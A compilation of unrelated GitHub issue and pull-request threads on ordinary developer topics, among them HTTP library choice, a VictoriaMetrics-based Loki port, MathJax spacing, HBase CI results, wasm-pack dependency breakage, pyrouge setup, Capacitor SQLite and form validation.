Add support for multiple request libraries or make SuperAgent optional

The way I see it it's not really needed, and just bloats the consumer's bundle size. Using XMLHttpRequest should be sufficient

There are a few benefits to superagent:

mutual TLS support (other libraries have this though)
isomorphic (XMLHttpRequest is not available on a node server, for example)
well-maintained

Might I suggest supporting multiple request libraries? I don't think you would have to maintain entirely different templates for each one, but instead have a helper that acts as a sort of switch statement depending on the option chosen.
It would be more work (so I wouldn't blame you for not going this route), especially because users can ultimately override the templates and do whatever they want.

All good points! I like the idea of supporting multiple request libraries. It will as you write introduce some complexity ofc, but might be worth it. A middle ground could be to make superagent optional, and fall back to XHR if superagent is disabled.
Overall though, I think this issue is not the highest priority one since it's so easy to change the template to not use it (we have done that in a project I am working on for instance).

I don't think it necessarily have to introduce more complexity, parts of the code could be made more abstract making it easier to maintain different versions easier.
So the underlying data format (ViewData) would stay the same, just the template files would change depending of what "template set" you decide to use.

Agree, with the right level of abstractions it might turn out pretty nice. However, there will always be some complexity when adding abstractions, but in this case it might be a good trade-off.


Updated VM code for VL?

Are there plans to update the VM code in this repository to support latest code?

I did some work with VM-1.64.1-cluster, fixed some bugs:

memory leak in vmselect
broken labels api
corrupted logs within vmstorage
wrong direction in vmselect
dead connections in connPool
duplicated fetchDataOption resulted empty func result
unexpected limit result

but there're many things left to do:

the right result for reversed sorted timeseries with specified limit.
the right result for rollup/aggfunc
the right result for binaryOpFunc
loki parsers support

@faceair Is this project still active？Any interest we move things forward?

My initial goal was to try out the storage design using VictoriaMetrics to see if it could be used to store more types of data and to learn more about VictoriaMetrics.
Implementing the loki protocol just seemed simple enough, and I haven't actually used loki in a production environment.
I'm confused if loki is designed to work well enough, since it doesn't support queries with high cardinality labels. Are you guys using loki in production, as a full replacement for Elasticsearch, or are you using both?

I'm also worried about LogQL's performance when there's a lot of data.
{container="query-frontend",namespace="loki-dev"} |= "metrics.go" | logfmt | duration > 10s and throughput_mb < 500

Take this expression as an example. The preceding label selection part we can treat as a traditional database index, and there are many ways to optimize its performance. But the log pipeline needs to load the raw data, and the scanning and filtering overheads are very high, which I feel is more complicated than even the full-text search implementation.

Loki's great for lightweight environment, simple and more efficient than es.
But yes, it's unusable with heavy load(peek at 60w logs/s). The pipeline design sucks with huge data.
So, I'm thinking about auto-create label like __deduplicated_log__ with deduplicated(r.Line), and turn pipeline query into tagfilter to solve this.

The performance of loki is better than I thought it would be.
Also, we may need to find a few reasons to move this project forward.

breakthrough in query or storage performance?

It would be more difficult to be fully compatible with the LogQL query protocol.

reduce the cost of storage?

We also need to support s3 storage to reduce costs. Or something like juicefs, but they have poor random read/write performance.

reduce the resource footprint of loki itself?

The MergeSet is somewhat similar to LSMTree in that it will maintain the order of the data in the blocks by merging them multiple times. This makes sense when dealing with metric data, but for log data, where the size of one log is large, it is not very economical to sort in memory multiple times and write to disk repeatedly.
With the current VictoriaLogs storage model design, the resource usage is not necessarily better than loki.

I've tried Loki-distributed(with memcache enabled) with the same data, basically unable to query for entry rate large than 1w/s, even within 15 minutes. And querier would consume endless memory without buffer reuse.
As you said Implementing the loki protocol just seemed simple enough., and maybe we can just implement the basic needs.
For the s3-compatible storage, we could intergate minio-go into vmstorage within VM, and backport to VL.
For my current VL-cluster, the resource usage seems acceptable compare to loki.

Great, it looks like we can still move forward with this project.
You are welcome to submit your bug fixes to PR.
Also, I'll be putting together a follow-up TODO.

I'll send the PR later.
By the way, I think we shouldn't change value type in vmstorage, how about extend vmstorage with a new field data to store log data, each log's value defaults to 1, so we could benefit with most MetricsQL funcs.
Besides, we could support exemplars with this extended data field.

@faceair https://github.com/faceair/VictoriaLogs/pull/7 PR is ready for review.


[SVG] big delimiters spacing in 2.7.5

Spacing around an equality has changed in 2.7.5 when using STIX-web fonts.
E.g.,  $$|xxx|=\Big |xxx\Big |$$ has noticeably less space to the right of the equality sign.
Likely another consequence of #1923; is this expected?

It is not due to #1923, as it only affects SVG, and it affects all the fonts.
It turns out that it is this commit, but I haven't looked into why it is having that effect.

Thanks for looking into it!

This turns out to be caused by a bug in the handling of mstyle when it contains a stretchy operator.  The spacing (and background color, etc) was added before the stretching was performed, and was lost when the stretched output was used to replace the original unstretched version.  I have made a PR to fix the issue.

In testsuite:
LaTeXToMathML/delimiters/issue2052.html


Don't touch the sub-sub-diagonals

I'll fix this issue where we mutate parts of the H-matrix we should not touch. Now that there's tests, I feel confident to do this :p. (cc @NymanLauri)

Gonna close this, cause it seems not really useful to have.


 Clean up uninstall script

Description of the change:

Don't manually delete appsubs and helmreleases so they can be cleaned up properly
Remove unnecessary deletes handled by the installer and its parts

Motivation for the change:

Deleting helmreleases manually can cause them to not be cleaned up properly
Some things previously left around are now being deleted by ownerReferences or finalizers

Related issue: https://github.com/open-cluster-management/backlog/issues/712

@JakobGray my understanding was this script should be the deletion of the CR as well as any other stuff we have to clean up to reinstall (i.e. apply the CR again), with the understanding that there are issues open to remove any extra lines other than the CR deletion.
Is this the real clean up script?
What am I missing?

@nathanweatherly I've trimmed out more from the uninstall. Here are the key pieces left:

Delete of Cluster objects, which I don't know much about since I've never tried out importing clusters
There are 3 lingering parts that have issues open up for them already
clusterapi.io apiservice and aws secret I left in there because I don't know where they come from. I don't see them on my cluster while installed so I figure maybe they come as a result of importing clusters, or CICD uses the aws secret as part of their install flow

The rest is hive cleanup, which I expect to change as we adopt the Hive operator

@nathanweatherly @tpouyer This PR is now ready to be merged


Release 2.72.1 is not available from npmjs

According to releases and package.json, there is supposed to be a 2.72.1 release, but I am unable to retrieve it from the npmjs registry.
My package.json contains:
  "dependencies": {
    ...
    "request": "2.72.1"
  },

Here is the error I am getting during npm install:
npm ERR! No compatible version found<EMAIL_ADDRESS>npm ERR! Valid install targets:
npm ERR! 2.72.0, 2.71.0, 2.70.0, 2.69.0, ..., 0.9.5, 0.9.1, 0.9.0, 0.8.3

Also, https://www.npmjs.com/package/request says:

2.72.0 is the latest of 109 releases

I have cleaned my npm cache.

yes the last is 2.67.0, wait ;)

We are currently releasing only minor versions 2.xx.0

OK, thanks! I will use 2.72.0 then.


Changed the time-format of chaos-duration to milliseconds

What this PR does / why we need it:
Changes the time-format of chaos-duration to milliseconds
Which issue this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged): fixes #
Checklist

[ ] Does this PR have a corresponding GitHub issue?
[ ] Have you included relevant README for the chaoslib/experiment with details?
[ ] Have you added debug messages where necessary?
[ ] Have you added task comments where necessary?
[ ] Have you tested the changes for possible failure conditions?
[ ] Have you provided the positive & negative test logs for the litmusbook execution?
[ ] Does the litmusbook ensure idempotency of cluster state?, i.e., is cluster restored to original state?
[ ] Have you used non-shell/command modules for Kubernetes tasks?
[ ] Have you (jinja) templatized custom scripts that is run by the litmusbook, if any?
[ ] Have you (jinja) templatized Kubernetes deployment manifests used by the litmusbook, if any?
[ ] Have you reused/created util functions instead of repeating tasks in the litmusbook?
[ ] Do the artifacts follow the appropriate directory structure?
[ ] Have you isolated storage (eg: OpenEBS) specific implementations, checks?
[ ] Have you isolated platform (eg: baremetal kubeadm/openshift/aws/gcloud) specific implementations, checks?
[ ] Are the ansible facts well defined? Is the scope explicitly set for playbook & included utils?
[ ] Have you ensured minimum/careful usage of shell utilities (awk, grep, sed, cut, xargs etc.,)?
[ ] Can the limtusbook be executed both from within & outside a container (configurable paths, no hardcode)?
[ ] Can you suggest the minimal resource requirements for the litmusbook execution?
[ ] Does the litmusbook job artifact carry comments/default options/range for the ENV tunables?
[ ] Has the litmusbooks been linted?

Special notes for your reviewer:

@rajdas98 Did you execute these experiments after modifying?


Found a bug that caused the interface to crash!

Open an iced gui program that can be scaled, then drag the window to make the height of the window 0, and then try to increase the height of the window, then the program appears BUG and crashes directly.

Duplicate of #271.


Cannot build with human-panic 1.0.2

Building is broken by human-panic 1.0.2 with error
error[E0063]: missing field `repository` in initializer of `human_panic::Metadata`
   --> /home/dexter/.cargo/registry/src/github.com-1ecc6299db9ec823/wasm-pack-0.9.1/src/main.rs:105:16
    |
105 |     let meta = human_panic::Metadata {
    |                ^^^^^^^^^^^^^^^^^^^^^ missing `repository`

error: aborting due to previous error

For more information about this error, try `rustc --explain E0063`.

This is due to the commit https://github.com/rust-cli/human-panic/commit/a4b9d1c2f999ad93ef69cb383c0d7a5643201341

I think I am also having this issue in CI, but it's building fine locally.

I have this issue building locally. Have you run cargo update?

@dalcde I have not, and now I think I won't! Cargo update would update transitive deps, which'd reresolve human-panic which'd get the 1.0.2 update that should've been a breaking change … it all makes sense to me, but also my CI setup is currently breaking on this, so having a the local ability to deploy is great. Don't even ask why I'm deploying on a Saturday night!

@mysterycommand I would recommend building from the Cargo.lock file on your CI.

human_panic v. 1.0.2 has been yanked - https://crates.io/crates/human-panic and 1.0.3 has been released. So it should work again (according to our CI) without changes in PR https://github.com/rustwasm/wasm-pack/pull/819 (that PR is breaking it now, so it shouldn't be merged).
I think the main problem is that cargo make install doesn't respect dependency versions / Cargo.lock. When you write cargo install wasm-pack --force --locked it seems to respect it and install human_panic v 1.0.1. This is probably a related issue - https://github.com/rust-lang/cargo/issues/7169.
Please correct me if I'm wrong.
P.S. I'm the maintainer of the Seed framework and it broke our CI - there are some logs in GitHub Actions if anybody interested.


Publishing an action should accept a correlation ID.

https://blog.rapid7.com/2016/12/23/the-value-of-correlation-ids/

Done in 0.5.10


ImportError: cannot import name 'Rouge155' from 'pyrouge' (unknown location)

I have installed pyrouge using this solution:
https://stackoverflow.com/questions/45894212/installing-pyrouge-gets-error-in-ubuntu
When executing the command :
python -m pyrouge.test
I am getting ok.
But when i import pyrouge like:
from pyrouge import Rouge155
I am getting the following error:
ImportError: cannot import name 'Rouge155' from 'pyrouge' (unknown location)
What is it that I am doing wrong?
Plus at readme file your wrote this script:
from pyrouge import Rouge155
r = Rouge155()
r.system_dir = 'path/to/system_summaries'
r.model_dir = 'path/to/model_summaries'
r.system_filename_pattern = 'some_name.(\d+).txt'
r.model_filename_pattern = 'some_name.[A-Z].#ID#.txt'
output = r.convert_and_evaluate()
print(output)
output_dict = r.output_to_dict(output)
Where am i suppose to add this code snippet in my code?

STEP #1: First, you need to download the ROUGE-1.5.5 directory from https://github.com/andersjo/pyrouge/tree/master/tools/ROUGE-1.5.5
STEP #2: Then follow these commans:
pip install pyrouge
pyrouge_set_rouge_path /absolute/path/to/ROUGE-1.5.5/directory (cloned in STEP #1 )
or you can use the absoulote pass when you are initializing ROUGE in:
r = Rouge155("/absolute/path/to/ROUGE-1.5.5/directory (cloned in STEP #1 ")

Following up on this. @Shanzaay were you able to resolve this issue? I am currently experiencing the same thing.

@mspilimbergo no I was not able to solve it. Sorry

Not sure whether this information helps, but I fixed this issue with the following commands:
pip uninstall pyrouge
pip install git+git://github.com/bheinzerling/pyrouge


Create a Custom Element in a Fragment using NexusDialog

I want to create custom elements through a fragment using nexusDialog Library (https://github.com/dkharrat/NexusDialog ) i created a custom element using the example given from the developer but i have no idea how to generate those custom components in fragment not activtiy. i want to pass data into edit text and get values of edittext to the fragment using the library
here is my code
Custom Component

 public class EditTextComp extends FormElementController {
    EditText editText = null;

    TextView textView = null;

    public EditTextComp(Context context) {
        super(context, null);

    }

    @Override
    protected View createView() {
        return createComponent();
    }

    @Override
    public void refresh() {

    }

    @Override
    public void setError(String message) {

    }

    private View createComponent() {

        LayoutInflater inflater = LayoutInflater.from(getContext());
        return inflater.inflate(R.layout.compound_comp_edit_text, null);

    }

    public EditText getEditText() {
        return (EditText) getView().findViewById(R.id.editText);
    }

}

how can i create this in a fragment?

How can I change the display of the element

I would like the chosen option to be below the description, with that the description of the field could extend to the side


Works fine on body elem but not with others

I can't get this working on an element other than the body one. No image is displayed an no error shown in the JS console.
Tested under jquery 1.11.4 and 2.1.4
I run Debian 7 with chrome 42.0.23

is it working?
$('#header-panel').anystretch("/images/logo.png", {speed: 150});

Make sure the div element appears on the page before the backstretch code otherwise it won't work.


Capacitor 3.0.0  registerPlugin(CapacitorSQLite.class); fails

Describe the bug
registerPlugin(CapacitorSQLite.class); fails in Android MainActivity.java with Capacitor 3.0.0
To Reproduce

In My Android Studio project I sync the project with gradles files and I can see the package and the class CapacitorSQLite.class in com.getcapacitor.community.database.sqlite
import com.getcapacitor.community.database.sqlite.CapacitorSQLite;  in MainActivity.jva

I don't install vue-sqlite-hook cause I have senne example working without this installation
When I build the project I get this:
error: incompatible types: Class cannot be converted to Class<? extends Plugin>
registerPlugin(CapacitorSQLite.class);
What I'm doing wrong?
Thanks
Monica

@MonicaExplan normally in 3.0.0 you do not need to do anything but you have to remove the à droid and iOS from Tha app and add them again with npx cap add.check that the gradle has been updated to 7.0 if not do it in Android studio hope this clarify

@jepiqueau  thanks. It semmes to work fine. ALso other plugin like barcode scanner.
Now in Androis Studio I see my db but closed :-(
Why, if I don't close it?
My Vue code in App.Vue in setup()
onBeforeMount(async () => {
try {
const sqlite = new SQLiteConnection(CapacitorSQLite);
// {"database":"plangei-consumer","encrypted":1,"mode":false,"version":"no-encryption"}
const db = await sqlite.createConnection(
"plangei-consumer",
false,
"no-encryption",
1
);
const opened = await db.open();
alert("db open = " , opened)
database.value = db;
    console.log("database opened", db);
    databaseInitialized.value = true;
  } catch (e) {
    alert("Error Initializing the Database");
  }
});

@MonicaExplan the database exists but you cannot open it in Android Studio. Go to the device emulator and under the database folder of your application you will see the database. Save as to one folder of your PC or Mac. I use the app DBbrowser which is free to open it and look at schemas and data

Thanks a lot for suggestion. I partially solved without sharing database folder.
While the app is running Db in Database Inspector is closed. When the app is stopped I can access the db in Database Inspector.

@MonicaExplan ok thanks for the feedback good luck


[EVENT] OpenScapes Workshop, May 30th

The link towards the Freshdesk ticket this event was reported
https://2i2c.freshdesk.com/a/tickets/1524
The GitHub handle or name of the community representative
BriannaLind
The date when the event will start
May 30th, 2024, 12PM EST
The date when the event will end
May 30th, 2024, 5PM EST
What hours of the day will participants be active? (e.g., 5am - 5pm US/Pacific)
12PM-5PM EST
Are we three weeks before the start date of the event?

[X] Yes
[ ] No

Number of attendees
250
Make sure to add the event into the calendar

[ ] Done

Does the hub already exist?

[X] Yes
[ ] No

The URL of the hub that will be used for the event
https://workshop.openscapes.2i2c.cloud/
Will this hub be decommissioned after the event is over?

[ ] Yes
[X] No

Was all the info filled in above?

[X] Yes
[ ] No

Quotas from the cloud provider are high-enough to handle expected usage?

[X] Yes
[ ] No

This is basically the same as https://github.com/2i2c-org/infrastructure/issues/3743, so I'll take the same action as was done there.

Workshop over


HBASE-25292 [branch-1] Improve InetSocketAddress usage discipline

See description on https://github.com/apache/hbase/pull/2669

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
docker
6m 38s
Docker failed to build yetus/hbase:b249092a5f.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2671

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/1/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
docker
0m  7s
Docker failed to build yetus/hbase:b249092a5f.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2671

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/2/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
docker
0m  9s
Docker failed to build yetus/hbase:b249092a5f.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2671

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/3/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
0m  0s
Docker mode activated.

-1 :x:
docker
6m 28s
Docker failed to build yetus/hbase:b249092a5f.

Subsystem
Report/Notes

GITHUB PR
https://github.com/apache/hbase/pull/2671

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/4/console

versions
git=2.17.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Comment

+0 :ok:
reexec
8m  7s
Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s
No case conflicting files found.

+1 :green_heart:
hbaseanti
0m  0s
Patch does not have any anti-patterns.

+1 :green_heart:
@author
0m  0s
The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s
The patch appears to include 4 new or modified test files.

_ branch-1 Compile Tests _

+0 :ok:
mvndep
2m 23s
Maven dependency ordering for branch

+1 :green_heart:
mvninstall
8m 40s
branch-1 passed

+1 :green_heart:
compile
2m  0s
branch-1 passed with JDK Azul Systems, Inc.-1.8.0_262-b19

+1 :green_heart:
compile
2m 17s
branch-1 passed with JDK Azul Systems, Inc.-1.7.0_272-b10

+1 :green_heart:
checkstyle
4m  6s
branch-1 passed

+1 :green_heart:
shadedjars
4m 19s
branch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
javadoc
1m 51s
branch-1 passed with JDK Azul Systems, Inc.-1.8.0_262-b19

+1 :green_heart:
javadoc
2m 13s
branch-1 passed with JDK Azul Systems, Inc.-1.7.0_272-b10

+0 :ok:
spotbugs
3m 43s
Used deprecated FindBugs config; considering switching to SpotBugs.

+1 :green_heart:
findbugs
7m 55s
branch-1 passed

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 23s
Maven dependency ordering for patch

+1 :green_heart:
mvninstall
2m 29s
the patch passed

+1 :green_heart:
compile
1m 54s
the patch passed with JDK Azul Systems, Inc.-1.8.0_262-b19

+1 :green_heart:
javac
1m 54s
the patch passed

+1 :green_heart:
compile
2m 14s
the patch passed with JDK Azul Systems, Inc.-1.7.0_272-b10

-1 :x:
javac
0m 56s
hbase-server-jdkAzulSystems,Inc.-1.7.0_272-b10 with JDK Azul Systems, Inc.-1.7.0_272-b10 generated 2 new + 4 unchanged - 2 fixed = 6 total (was 6)

-1 :x:
checkstyle
0m 48s
hbase-client: The patch generated 1 new + 168 unchanged - 3 fixed = 169 total (was 171)

-1 :x:
checkstyle
2m  7s
hbase-server: The patch generated 1 new + 108 unchanged - 1 fixed = 109 total (was 109)

+1 :green_heart:
whitespace
0m  0s
The patch has no whitespace issues.

+1 :green_heart:
shadedjars
4m  2s
patch has no errors when building our shaded downstream artifacts.

+1 :green_heart:
hadoopcheck
6m 17s
Patch does not cause any errors with Hadoop 2.8.5 2.9.2.

+1 :green_heart:
javadoc
1m 49s
the patch passed with JDK Azul Systems, Inc.-1.8.0_262-b19

+1 :green_heart:
javadoc
2m  6s
the patch passed with JDK Azul Systems, Inc.-1.7.0_272-b10

+1 :green_heart:
findbugs
6m 35s
the patch passed

_ Other Tests _

+1 :green_heart:
unit
2m 55s
hbase-common in the patch passed.

+1 :green_heart:
unit
2m 45s
hbase-client in the patch passed.

-1 :x:
unit
92m 31s
hbase-server in the patch failed.

+1 :green_heart:
unit
0m 33s
hbase-external-blockcache in the patch passed.

+1 :green_heart:
asflicense
1m 34s
The patch does not generate ASF License warnings.

181m 32s

Reason
Tests

Failed junit tests
hadoop.hbase.client.TestConnectionImplementation

Subsystem
Report/Notes

Docker
ClientAPI=1.40 ServerAPI=1.40 base: https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hbase/pull/2671

Optional Tests
dupname asflicense javac javadoc unit spotbugs findbugs shadedjars hadoopcheck hbaseanti checkstyle compile

uname
Linux 151ce7cf0760 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
/home/jenkins/jenkins-home/workspace/Base-PreCommit-GitHub-PR_PR-2671/out/precommit/personality/provided.sh

git revision
branch-1 / 30d988f

Default Java
Azul Systems, Inc.-1.7.0_272-b10

Multi-JDK versions
/usr/lib/jvm/zulu-8-amd64:Azul Systems, Inc.-1.8.0_262-b19 /usr/lib/jvm/zulu-7-amd64:Azul Systems, Inc.-1.7.0_272-b10

javac
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/artifact/out/diff-compile-javac-hbase-server-jdkAzulSystems,Inc.-1.7.0_272-b10.txt

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/artifact/out/diff-checkstyle-hbase-client.txt

checkstyle
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/artifact/out/diff-checkstyle-hbase-server.txt

unit
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/artifact/out/patch-unit-hbase-server.txt

Test Results
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/testReport/

Max. process+thread count
3698 (vs. ulimit of 10000)

modules
C: hbase-common hbase-client hbase-server hbase-external-blockcache U: .

Console output
https://ci-hadoop.apache.org/job/HBase/job/HBase-PreCommit-GitHub-PR/job/PR-2671/5/console

versions
git=1.9.1 maven=3.0.5 findbugs=3.0.1

Powered by
Apache Yetus 0.12.0 https://yetus.apache.org

This message was automatically generated.

https://github.com/apache/hbase/pull/2669 was merged, closing this and picking back the master commit.


Tutorial doesn't work.

I use 'docker run --name myapp -t poll'. I greped the IP but it won't work. The Dockerfile installed same directory as manage.py .

If you are on a Mac or Windows, then you need to have a -p 8000:8000 and hit the IP of the VM at port 8000.

We have deprecated the django image in favor of just the python image: https://github.com/docker-library/docs/pull/630.


feat: configure excluded propagate labels/annotations

This PR proposes an implementation of https://github.com/cybozu-go/accurate/issues/53. I have tried to keep changes to a minimum though it seems like the code could benefit from some simple refactorings after this change.
I struggled to find good names for the new config props, so please let me know if you have better suggestions!
The change is theoretically not 100% backwards compatible, as strings.Contains(k, "kubernetes.io/") will potentially exclude more than path.Match("*kubernetes.io/*", key), but IMO it should give the same results for typical labels, at least https://kubernetes.io/docs/concepts/overview/working-with-objects/common-labels/.
Closes https://github.com/cybozu-go/accurate/issues/53

I struggled to find good names for the new config props, so please let me know if you have better suggestions!

I think the current name works fine, but how about simplifying it to excludeLabelKeys, excludeAnnotationKeys?

I looked in that direction, but I fear some confusion with the existing labelKeys/annotationKeys which denotes labels/annotations on namespaces - which is a quite different configuration. Maybe @ymmt2005 has some input here?

@erikgb @zoetrope
Thank you for fixing the issue.
I agree that exclucdeLabelKeys would be confusing, and I'm fine with Eric's suggestion.

@erikgb @ymmt2005
Alright, let's merge it as is.


APP freeze/hangs when using in uitableview cell for multiple videos

getting a console error every time during fast scroll UITableview. Every cell contains a video object configure with library playback URL (let playBackUrl = SJMediaCacheServer.shared().playbackURL(with: url)) and play after scroll didEndScrolling. after 2 3 videoes app freezes. No response and throw an error below;
Incorrect NSStringEncoding value 0x0000 detected. Assuming NSASCIIStringEncoding. Will stop this compatibility mapping behavior in the near future

@jitesh-sharma  I fixed this warning in the new version 1.5.0

The warning is gone now, but the app freezing issue still there. When we are playing 2 3 videos on the visible screen (in different UitableviewCells or sometimes in single Cell 2 videos are playing) and scroll up and down then the app freeze/hangs. Sometimes when we navigate to different screens from the video screen then the app freeze. Don't know what the main issue behind it but its only happening when we are using the playback URL of SJMediaCacheServer class.
Implementation of UItableviewCell and UIViewController,
UITableViewCell Code
override func prepareForReuse() {
super.prepareForReuse()
videoUrl = nil
player = nil
playerLayer = nil
playerItem = nil
}
func **setupPlayerView**() {
    player = AVPlayer()
    if let urlString = videoUrl, let url = URL(string: urlString) {
        if let playBackUrl = SJMediaCacheServer.shared().playbackURL(with: url) {
            playerItem = AVPlayerItem(url: playBackUrl)
        } else {
            playerItem = AVPlayerItem(url: url)
        }
    }
    playerLayer = AVPlayerLayer(player: player)
    playerLayer?.frame = view_s1_v1_PlayerView.bounds
    view_s1_v1_PlayerView.layer.addSublayer(playerLayer!)
    player?.replaceCurrentItem(with: playerItem)
}

func **playVideo**() {
    player?.play()

}
func **pauseVideo**() {
    player?.pause()
}

and then play() pause() from UIViewcontroller's
override func scrollViewDidEndDecelerating(_ scrollView: UIScrollView) {
checkVisibleCell()
}
func tableView(_ tableView: UITableView, **didEndDisplaying** cell: UITableViewCell, forRowAt indexPath: IndexPath) {
    if let videoCell = cell as? LRVideoMeshTableViewCell {
        videoCell.pauseVideo()
    }
}

func **checkVisibleCell**() {
    let visibleCells = tv_videoCategoryList.visibleCells.compactMap { $0 as? LRVideoMeshTableViewCell }

    guard visibleCells.count > 0 else { return }

    let visibleFrame = CGRect(x: 0, y: tv_videoCategoryList.contentOffset.y, width: tv_videoCategoryList.bounds.width, height: tv_videoCategoryList.bounds.height)

    let visibleCell = visibleCells
        .filter { visibleFrame.intersection($0.frame).height >= $0.frame.height / 2 }
        .first

    visibleCell?.playVideo()
}

@changsanjiang please let me know if I am doing wrong here or suggest if any changes needed in the library to fix this.


parallelize the sorting process

Trying out if we can tweak the layout sorting.

My first tests indicate that parallel layout sorting seems as least as slow as the unparalleled one...
 We might see one for very very large graphs, but they won't be substantial compared to the actual term updates time.
In order to keep the code simple, this is not merged in and won't be pursued further, for now.


Links icon in Quill don't work

Here: https://quilljs.com/playground/#form-submit
when select some text in post and click "ql-link" icon - "Enter link" dialog shows.
In Podium nothings happens.
BTW, click on "ql-video" (in Podium) also do nothing.

Seems that updating to Quill 1.2.0 fixed the problem.


Request addition of "liquidity/Financial Health" ratios

Greetings:
This is a great project; I'm wondering if it's possible to add the liquidity/Financial Health ratios from the "Financial Health" tab.  This includes things like the current ratio and debt/equity.  Those are core figures for value investors.  I don't think the current code pulls those.  I'm still trying to get the code working on my machine, but did get some output from the older Python 2.7 version of your code.  Trying Python 3 version now.  But, it would be great to have the current ratio and debt/equity returned in the pandas dataframe as well.
They are here:  http://financials.morningstar.com/ratios/r.html?t=PFE&region=usa&culture=en-US

Disregard; I finally got the Python 3 version to work and ALL of the ratios are there.  This is awesome.  I am mixing this with the value investor stock analysis method to evaluate stocks in an iPython Notebook.

Hi, thanks for comment. I am glad that it works as intended. :) Let me know if there are any other problems.


Not sure why you don't need withContext(Dispatchers.IO){ } when invoke UseCase method

I see in WeatherViewModel, here is the method to show weather:
fun showWeather() = viewModelScope.launch {
	showLoading()
	val weatherResult = weatherUseCase()
	val tempUnit = getTemperatureUnit()
        ...

Since weatherUseCase() is a method to get weather which should be run in network thread, I wonder why don't you wrap it inside withContext(Dispatchers.IO) { }, like this:
fun showWeather() = viewModelScope.launch {
	showLoading()
	val weatherResult = withContext(Dispatchers.IO) {  weatherUseCase() }
	val tempUnit = getTemperatureUnit()
        ...

Hey, I don't wrap weatherUseCase() inside withContext(Dispatchers.IO) { } . You can see here that:

Behind the scenes this behaves as if defined as fun user(...): Call and then invoked with
Call.enqueue

If you look at the Call interface and the enqueue method this always did run asynchronously and not on the main thread.

I will close it, feel free to open it again if you have more questions


scripts to generte DDAD semantics

Hi, I assume you already have a script to generate semantic images for DDAD using GroundedSAM_OccNeRF, and am wondering if you can share it. Thanks.

The code is messy. have a try to adjust the dataloader from nuscenes to ddad.


Click and drag to move feature not working

The scene is deployed, but the click and drag to move feature is not working. I am testing it without a VR device and it says "In the meantime, click and drag to have a look around!" 🤔

I just had to add the Desert Controller script to the Camera. It was not attached to the CameraMain object in the WebXRCameraSet prefab when I cloned the project. It works fine now.


[add-duckduckgo-search-engine.patch] Searx instead of DDG

Add Searx as Default Search.

Duck Duck Go is Proprietary Closed Source.
Searx is 100% Open Source Python Free Gratis Libre.
You can get whole Searx engine from Github.
For all we know DDG can be selling our data or even be a frontend to MS Bing.

https://searx.me

For all we know DDG can be selling our data or even be a frontend to MS Bing.

So could searx.  All we know is that searx released some source code,  not necessarily the source code in use.

Its all the source code open source, you can even run your own Searx, you cant run your own DDG.

@juancarlospaco The point that @dcousens is making is: whenever we use a web-service we can't be 100% sure what code they are using, what data they are retaining and what they are selling. Further, if we run our own Searx instance, then it will require manual configuration anyway.

settings list (clearnet)  :
name: CryptoCartel searx
favicon: https://cryptocartel.com/static/themes/oscar/img/favicon.png
url: cryptocartel.com
search url: https://cryptocartel.com/search?q=%s
settings list (tor)  :
name: CryptoCartel searx
favicon: http://wscvq7ru5saua556.onion/static/themes/oscar/img/favicon.png
url: wscvq7ru5saua556.onion
search url: http://wscvq7ru5saua556.onion/search?q=%s

Would be nice if searx would setup a roundrobin instance to avoid centralization. In any case, I use https://searx.good.one.pl, since it uses DDG through Searx.

@gcarq   for now
A
i'm making an "almost useful" update for inox (chromium-62)
Bif you want i could try to add this (searx)


How to manually set and unset field as valid

I have a group of radio buttons but only one of them is the correct answer, I can use jquery to check which one is selected but how do I set this group as valid or invalid manually? Or better yet how do i add validation so it only validates if particular radio button is selected?
thanks

Use custom validation option, some like:
<input type="radio" name="answer" value="correct" data-answer="correct">
<input type="radio" name="answer" value="incorrect" data-answer="correct">

$('form').validator({
  custom: {
    answer: function($el) {
      var value = $el.val(),
          answer = $el.attr('answer');

      return (value === answer) ? true : false;
    }
  },
  errors: {
      answer: "Select the correct answer"
  }
});

I haven't tested, but maybe work.

